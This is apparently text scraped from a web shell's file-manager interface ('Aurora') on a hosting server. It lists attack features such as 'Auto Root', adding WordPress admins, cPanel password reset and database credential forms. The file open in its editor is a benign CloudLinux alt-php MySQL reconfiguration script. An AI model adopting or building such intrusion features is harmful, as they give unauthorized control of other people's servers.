Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
bin
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: alt-php-mysql-reconfigure.py
#!/usr/bin/python3 # -*- mode:python; coding:utf-8; -*- # author: Eugene Zamriy <ezamriy@cloudlinux.com>, # Sergey Fokin <sfokin@cloudlinux.com> # created: 29.07.2015 15:46 # edited: Sergey Fokin 17.10.2024 12:23 # description: Selects correct alt-php MySQL binding according to the system # configuration. import getopt import glob import logging import os import platform import re import subprocess import sys import traceback from decimal import Decimal try: import rpm except: class rpm: RPMMIRE_REGEX = None class pattern: def __init__(self, packages): self.packages = packages def pattern(self, field, flag, pattern): regexp = re.compile(pattern) self.packages = list(filter(regexp.match, self.packages)) def __getitem__(self, item): return self.packages[item] class TransactionSet: @staticmethod def dbMatch(): return rpm.pattern(os.popen('rpm -qa').readlines()) VER_PATTERNS = {"18.1": "5.6", "18.1.0": "5.6", "18.0": "5.5", "18.0.0": "5.5", "18": "5.5", "16": "5.1", "15": "5.0", "20.1": "5.7", "20.2": "5.7", "20.3": "5.7", "21.0": "8.0", "21.2": "8.0"} def is_debian(): """ Check if we running on Debian/Ubuntu @rtype : bool @return True or False """ if os.path.exists("/etc/redhat-release"): return False return True def configure_logging(verbose): """ Logging configuration function. @type verbose: bool @param verbose: Enable additional debug output if True, display only errors otherwise. """ if verbose: level = logging.DEBUG else: level = logging.ERROR handler = logging.StreamHandler() handler.setLevel(level) log_format = "%(levelname)-8s: %(message)s" formatter = logging.Formatter(log_format, "%H:%M:%S %d.%m.%y") handler.setFormatter(formatter) logger = logging.getLogger() logger.addHandler(handler) logger.setLevel(level) return logger def symlink_abs_path(path): """ Recursively resolves symlink. @type path: str @param path: Symlink path. @rtype: str @return: Resolved symlink absolute path. """ processed_symlinks = set() if not isinstance(path, str): return None while os.path.islink(path): if path in processed_symlinks: return None path = os.path.join(os.path.dirname(path), os.readlink(path)) processed_symlinks.add(path) return os.path.abspath(path) def create_symlink_to_mysqli_ini(source_dir, target_dir): """ Creates or updates a symbolic link to mysqli.ini. @type source_dir: str @param source_dir: Directory containing the actual mysqli.ini file. @type target_dir: str @param target_dir: Directory where the symlink will be created or updated. @rtype: bool @return: True if symlink is created or updated successfully, False otherwise. """ source_path = os.path.join(source_dir, 'mysqli.ini') target_path = os.path.join(target_dir, 'mysqli.ini') try: # Remove the target file/symlink if it exists (mimic --force) if os.path.exists(target_path) and not os.path.islink(target_path): os.remove(target_path) if source_path == symlink_abs_path(target_path): logging.debug(u"%s is already configured to %s" % (target_path, source_path)) return True # Create the symlink os.symlink(source_path, target_path) logging.info(u"Symlink created or updated: %s -> %s" % (target_path, source_path)) return True except Exception as e: logging.error(u"Error creating or updating symlink: %s" % str(e)) return False def find_interpreter_versions(interpreter="php"): """ Returns list of installed alt-php versions and their base directories. @rtype: list @return: List of version (e.g. 44, 55) and base directory tuples. """ int_versions = [] if interpreter == "ea-php": base_path_regex = "/opt/cpanel/ea-php[0-9][0-9]/root/" else: base_path_regex = "/opt/alt/%s[0-9][0-9]" % interpreter for int_dir in glob.glob(base_path_regex): int_versions.append((int_dir[-2:], int_dir)) int_versions.sort() return int_versions def find_mysql_executable(mysql="mysql"): """ Detects MySQL binary full path. @type mysql: str @param mysql: MySQL binary name (default is "mysql"). @rtype: str or None @return: MySQL binary full path or None if nothing is found. """ for path in os.environ["PATH"].split(os.pathsep): mysql_path = os.path.join(path, mysql) if os.path.exists(mysql_path) and os.access(mysql_path, os.X_OK): return mysql_path def is_percona(major, minor): """ Check if Percona server is installed @type major: str @param major: major version of sql server @type minor: str @param minor: minor version of sql server @rtype: bool @return: True or False """ if is_debian(): if not os.system("dpkg -l | grep -i percona-server"): return True else: ts = rpm.TransactionSet() mi = ts.dbMatch() pattern = "Percona-Server-shared-{0}{1}|cl-Percona{0}{1}-shared".format( major, minor) mi.pattern('name', rpm.RPMMIRE_REGEX, pattern) for _ in mi: mysql_type = "percona" return True return False def parse_mysql_version(version): """ Extracts MySQL engine type and version from the version string (mysql -V output). @type version: str @param version: MySQL version string (mysql -V output). @rtype: tuple @return: MySQL engine type (e.g. mariadb, mysql) and version (e.g. 5.6, 10.0) tuple. """ ver_rslt = re.search("mysql\s+Ver\s+(.*?Distrib\s+)?((\d+)\.(\d+)\S*?)(,)?" "\s+for", version) if not ver_rslt: return None, None _, full_ver, major, minor, _ = ver_rslt.groups() mysql_type = "mysql" mysql_ver = "%s.%s" % (major, minor) if re.search("mariadb", full_ver, re.IGNORECASE): mysql_type = "mariadb" # NOTE: there are no way to detect Percona by "mysql -V" output, so we # are looking for Percona-Server-shared* or cl-Percona*-shared package installed if is_percona(major, minor): mysql_type = "percona" return mysql_type, mysql_ver def get_mysql_version(mysql_path): """ Returns MySQL engine type and version of specified MySQL executable. @type mysql_path: str @param mysql_path: MySQL executable path. @rtype: tuple @return: MySQL engine type (mariadb or mysql) and version (e.g. 5.6, 10.0) tuple. """ proc = subprocess.Popen([mysql_path, "-V"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True) out, _ = proc.communicate() if proc.returncode != 0: raise Exception(u"cannot execute \"%s -V\": %s" % (mysql_path, out)) ver_string = out.strip() logging.debug(u"SQL version string is '%s'" % ver_string) return parse_mysql_version(ver_string) def detect_so_version(so_path): """ Parameters ---------- so_path : str or unicode Absolute path to .so library Returns ------- tuple Tuple of MySQL type name and MySQL version """ mysql_ver = None for ver_pattern in VER_PATTERNS: if re.search(re.escape(".so.%s" % ver_pattern), so_path): mysql_ver = VER_PATTERNS[ver_pattern] if is_debian(): mysql_ver = mysql_ver.replace(".", "") # in some Percona builds .so was renamed to libperconaserverclient.so if "libperconaserverclient.so" in so_path: return "percona", mysql_ver # search for markers (mariadb/percona) in .so strings proc = subprocess.Popen(["strings", so_path], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True) out, _ = proc.communicate() if proc.returncode != 0: raise Exception(u"cannot execute \"strings %s\": %s" % (so_path, out)) mysql_type = "mysql" for line in out.split("\n"): if re.search("percona", line, re.IGNORECASE): return "percona", mysql_ver maria_version = re.search("^(10\.[0-9]+)\.[0-9]*(-MariaDB)?$", line, re.IGNORECASE) if maria_version is not None and len(maria_version.groups()) != 0: return "mariadb", maria_version.group(1) if re.search("5\.5.*?-MariaDB", line, re.IGNORECASE): return "mariadb", "5.5" if re.search("mariadb", line, re.IGNORECASE): mysql_type = "mariadb" return mysql_type, mysql_ver def detect_lib_dir(): """ Returns ------- str lib if running on 32-bit system, lib64 otherwise """ if is_debian(): proc = subprocess.Popen(["dpkg-architecture", "-qDEB_HOST_MULTIARCH"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True) out, _ = proc.communicate() return "lib/{0}".format(out.strip()) if platform.architecture()[0] == "64bit": return "lib64" else: return "lib" def get_int_files_root_path(int_name, int_ver): """ Parameters ---------- int_name : str or unicode Interpreter name (php, python) int_ver : str or unicode Interpreter version (44, 70, 27, etc.) Returns ------- str Absolute path to interpreter root """ if int_name == "php": return "/opt/alt/php%s" % int_ver elif int_name == "ea-php": return "/opt/cpanel/ea-php%s/root/" % int_ver elif int_name == "python": return "/opt/alt/python%s" % int_ver else: raise NotImplementedError("Unknown interpreter") def get_dst_so_path(int_name, int_ver, so_name): """ Parameters ---------- int_name : str or unicode Interpreter name (php, python) int_ver : str or unicode Interpreter version (44, 70, 27, etc.) so_name : str or unicode MySQL shared library name Returns ------- str Absolute path to MySQL binding destination point """ lib_dir = detect_lib_dir() int_path = get_int_files_root_path(int_name, int_ver) int_dot_ver = "%s.%s" % (int_ver[0], int_ver[-1]) if int_name in ["php", "ea-php"]: if re.match(r".*_ts.so", so_name): return os.path.join(int_path, "usr", lib_dir, "php-zts/modules", re.sub('_ts\.so', '.so', so_name)) else: return os.path.join(int_path, "usr", lib_dir, "php/modules", so_name) elif int_name == "python": if os.path.exists("/opt/alt/python{0}/bin/python{1}".format(int_ver, int_ver[0])): proc = subprocess.Popen("/opt/alt/python{0}/bin/python{1} -c \"from distutils.sysconfig import get_python_lib; print(get_python_lib(True))\"".format(int_ver, int_ver[0]), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True) out, _ = proc.communicate() return os.path.join(out.strip(),so_name) else: raise NotImplementedError("Unknown interpreter") def get_mysql_pkg_name(int_name, int_ver, mysql_type, mysql_ver, zts=False): """ Parameters ---------- int_name : str or unicode Interpreter name (php, python) int_ver : str or unicode Interpreter version (44, 27, 71, etc.) mysql_type : str or unicode Mysql base type (mysql, mariadb, percona) mysql_ver : str or unicode Mysql version (5.5, 10, 10.1) Returns ------- """ if int_name == "php": if not zts: return "alt-php%s-%s%s" % (int_ver, mysql_type, mysql_ver) else: return "alt-php%s-%s%s-zts" % (int_ver, mysql_type, mysql_ver) elif int_name == "ea-php": return "%s%s-php-%s%s" % (int_name, int_ver, mysql_type, mysql_ver) elif int_name == "python": return "alt-python%s-MySQL-%s%s" % (int_ver, mysql_type, mysql_ver) else: raise NotImplementedError("Unknown interpreter") def get_so_list(int_name): """ Parameters ---------- int_name : str Interpreter name (e.g. php, python, etc.) Returns ------- """ if int_name == "ea-php": return ["mysql.so", "mysqli.so", "pdo_mysql.so"] elif int_name == "php": return ["mysql.so", "mysqli.so", "pdo_mysql.so", "mysql_ts.so", "mysqli_ts.so", "pdo_mysql_ts.so"] elif int_name == "python": return ["_mysql.so"] else: raise NotImplementedError("Unknown interpreter") def match_so_to_mysql(): mysql = find_mysql_executable() # If we have no MySQL, then nothing should be done if not mysql: return possible_versions = list(VER_PATTERNS.values()) possible_versions += ["10", "10.0", "10.1", "10.2", "10.3", "10.4", "10.5", "10.6", "10.11"] mysql_type, mysql_ver = get_mysql_version(mysql) if is_debian(): mysql_ver = mysql_ver.replace(".", "") if mysql_type not in ["mysql", "mariadb", "percona"] or \ mysql_ver not in possible_versions: return if mysql_ver == "5.0": search_pattern = re.compile(r"(\S*libmysqlclient\.so\.15\S*)") elif mysql_ver == "5.1": search_pattern = re.compile(r"(\S*libmysqlclient\.so\.16\S*)") elif mysql_ver in ("5.5", "10", "10.0", "10.1"): search_pattern = re.compile(r"(\S*libmysqlclient\.so\.18\.0\S*)") elif mysql_ver == "5.6": search_pattern = re.compile(r"(\S*libmysqlclient\.so\.18\.1\S*)") elif mysql_ver == "5.7": search_pattern = re.compile(r"(\S*libmysqlclient\.so\.20\S*)") elif mysql_ver == "8.0": search_pattern = re.compile(r"(\S*libmysqlclient\.so\.21\S*)") elif mysql_ver in ("10.2", "10.3", "10.4", "10.5", "10.6", "10.11"): search_pattern = re.compile(r"(\S*libmariadb\.so\.3\S*)") else: raise Exception(u"Cannot match MySQL library to any version") if mysql_type == "percona": search_path = ["/usr/%s" % detect_lib_dir()] else: search_path = ["/usr/local/mysql/lib/", # Added path for Direect Admin "/usr/%s/" % detect_lib_dir(), "/usr/%s/mysql" % detect_lib_dir(), "/usr/%s/mariadb" % detect_lib_dir()] files = [] for libs_path in search_path: if os.path.exists(libs_path): for file in os.listdir(libs_path): files.append(os.path.join(libs_path, file)) for one_file in files: if search_pattern.match(one_file): return (search_pattern.match(one_file).string, mysql_type, mysql_ver) def get_mysql_so_files(): proc = subprocess.Popen(["/sbin/ldconfig", "-p"], stdout=subprocess.PIPE, universal_newlines=True) out, _ = proc.communicate() if proc.returncode != 0: raise Exception(u"cannot execute \"ldconfig -p\": %s" % out) so_re = re.compile("^.*?=>\s*(\S*?(libmysqlclient|" "libmariadb|" "libperconaserverclient)\.so\S*)") forced_so_file = match_so_to_mysql() if forced_so_file: so_files = [forced_so_file] else: so_files = [] for line in out.split("\n"): re_rslt = so_re.search(line) if not re_rslt: continue so_path = symlink_abs_path(re_rslt.group(1)) if not so_path or not os.path.exists(so_path): continue mysql_type, mysql_ver = detect_so_version(so_path) so_rec = (so_path, mysql_type, mysql_ver) if so_rec not in so_files: so_files.append(so_rec) return so_files def reconfigure_mysql(int_ver, mysql_type, mysql_ver, force=False, int_name="php"): """ Parameters ---------- int_ver : str or unicode Interpreter version (44, 70, 27, etc.) mysql_type : str or unicode MySQL type (mysql, mariadb, percona) mysql_ver : str or unicode MySQL version (5.5, 10.1, etc.) force : bool Force symlink reconfiguration if True, do nothing otherwise int_name : str or unicode Optional, defines interpreter name (php, python). Default is php Returns ------- bool True if reconfiguration was successful, False otherwise """ int_dir = get_int_files_root_path(int_name, int_ver) if mysql_type == "mariadb": if mysql_ver in ("10", "10.0"): mysql_ver = "10" elif mysql_ver.startswith("10."): mysql_ver = mysql_ver.replace(".", "") elif mysql_ver == "5.5": # NOTE: there are no special bindings for MariaDB 5.5 in Cloud Linux # so we are using the MySQL one mysql_type = "mysql" so_list = get_so_list(int_name) for so_name in so_list: src_so = os.path.join(int_dir, "etc", "%s%s" % (mysql_type, mysql_ver), so_name) if not os.path.exists(src_so): if (so_name in ("mysqli.so", "pdo_mysql.so") and int_ver == "44") \ or (so_name == "mysql.so" and int_ver.startswith("7")) \ or (so_name == "mysql.so" and int_ver.startswith("8")) \ or (re.match(r".*_ts.so", so_name) and int_ver != 72): # NOTE: there are no mysql.so for alt-php7X and mysqli.so / # pdo_mysql.so for alt-php44 continue # TODO: maybe find an appropriate replacement for missing # .so in other alt-php-(mysql|mariadb|percona) packages? mysql_pkg_name = get_mysql_pkg_name(int_name, int_ver, mysql_type, mysql_ver, bool(re.match(r".*_ts.so", so_name))) logging.error(u"%s is not found. Please install " u"%s package" % (so_name, mysql_pkg_name)) return False dst_so = get_dst_so_path(int_name, int_ver, so_name) dst_so_real = symlink_abs_path(dst_so) if src_so == dst_so_real: logging.debug(u"%s is already updated" % dst_so) continue else: force = True if not isinstance(dst_so, str): return False if os.access(dst_so, os.R_OK): # seems alt-php is already configured - don't touch without force # argument if not force: logging.debug(u"current %s configuration is ok (%s)" % (dst_so, dst_so_real)) continue os.remove(dst_so) os.symlink(src_so, dst_so) logging.info(u"%s was reconfigured to %s" % (dst_so, src_so)) else: # seems current alt-php configuration is broken, reconfigure it try: os.remove(dst_so) except: pass os.symlink(src_so, dst_so) logging.info(u"%s was configured to %s" % (dst_so, src_so)) continue return True def check_alt_path_exists(int_path, int_name, int_ver): """ Parameters ---------- int_path : str or unicode Interpreter directory on the disk (/opt/alt/php51, etc.) int_name : str or unicode Interpreter name (php, python) int_ver : str or unicode Interpreter version (44, 70, 27, etc.) Returns ------- bool True if interpreter path exists, False otherwise """ if not os.path.isdir(int_path): sys.stderr.write("unknown {0} version {1}".format(int_name, int_ver)) return False return True def main(sys_args): try: opts, args = getopt.getopt(sys_args, "p:P:e:v", ["php=", "python=", "ea-php=", "verbose"]) except getopt.GetoptError as e: sys.stderr.write("cannot parse command line arguments: {0}".format(e)) return 1 verbose = False int_versions = [] int_name = "php" for opt, arg in opts: if opt in ("-p", "--php"): int_name = "php" int_path = "/opt/alt/php%s" % arg if check_alt_path_exists(int_path, int_name, arg): int_versions.append((arg, int_path)) else: return 1 elif opt in ("-e", "--ea-php"): int_name = "ea-php" int_path = "/opt/cpanel/ea-php%s/root/" % arg if check_alt_path_exists(int_path, int_name, arg): int_versions.append((arg, int_path)) else: return 1 elif opt == "--python": int_name = "python" int_path = "/opt/alt/python%s" % arg if check_alt_path_exists(int_path, int_name, arg): int_versions.append((arg, int_path)) else: return 1 if opt in ("-v", "--verbose"): verbose = True log = configure_logging(verbose) if int_name == "ea-php": int_group = int_name else: int_group = "alt-%s" % int_name if not int_versions: int_versions = find_interpreter_versions() log.info(u"installed %s versions are\n%s" % (int_group, "\n".join(["\t %s: %s" % (int_group, i) for i in int_versions]))) mysql_so_files = get_mysql_so_files() log.info(u"available SQL so files are\n%s" % "\n".join(["\t%s (%s-%s)" % i for i in mysql_so_files])) # skip reconfigure magick if file exists if os.path.exists("/opt/alt/alt-php-config/disable"): log.info(u"skip reconfiguration, because '/opt/alt/alt-php-config/disable' exists") return True try: mysql_path = find_mysql_executable() if not mysql_path: log.info(u"cannot find system SQL binary") for int_ver, int_dir in int_versions: status = False for so_name, so_type, so_ver in mysql_so_files: if reconfigure_mysql(int_ver, so_type, so_ver, force=False, int_name=int_name): status = True break if not status: log.error(u"alt-%s%s reconfiguration is failed" % (int_name, int_ver)) else: log.debug(u"system SQL binary path is %s" % mysql_path) mysql_type, mysql_ver = get_mysql_version(mysql_path) log.debug(u"system SQL is %s-%s" % (mysql_type, mysql_ver)) # check if we have .so for the system SQL version mysql_so_exists = False for so_name, so_type, so_ver in mysql_so_files: if so_type == mysql_type and so_ver == mysql_ver: mysql_so_exists = True break # reconfigure alt-php symlinks for int_ver, int_dir in int_versions: # system SQL was correctly detected and we found .so for it - # reconfigure alt-php to use it instead of previous # configuration if mysql_so_exists and \ reconfigure_mysql(int_ver, mysql_type, mysql_ver, force=True, int_name=int_name): ini_src_path = "%s/etc/php.d.all" % get_int_files_root_path(int_name, int_ver) ini_dst_path = "%s/etc/php.d" % get_int_files_root_path(int_name, int_ver) if int_name == "php": create_symlink_to_mysqli_ini(ini_src_path,ini_dst_path) continue # we are unable to detect system SQL or it's .so is missing - # reconfigure alt-php to use .so that we have available, but # only if current configuration is broken status = False for so_name, so_type, so_ver in mysql_so_files: if reconfigure_mysql(int_ver, so_type, so_ver, force=False, int_name=int_name): status = True ini_src_path = "%s/etc/php.d.all" % get_int_files_root_path(int_name, int_ver) ini_dst_path = "%s/etc/php.d" % get_int_files_root_path(int_name, int_ver) if int_name == "php": create_symlink_to_mysqli_ini(ini_src_path,ini_dst_path) break if not status: log.error(u"alt-%s%s reconfiguration is failed" % (int_name, int_ver)) except Exception as e: log.error(u"cannot reconfigure alt-%s SQL bindings: %s. " u"Traceback:\n%s" % (int_name, e, traceback.format_exc())) return 1 if __name__ == "__main__": sys.exit(main(sys.argv[1:]))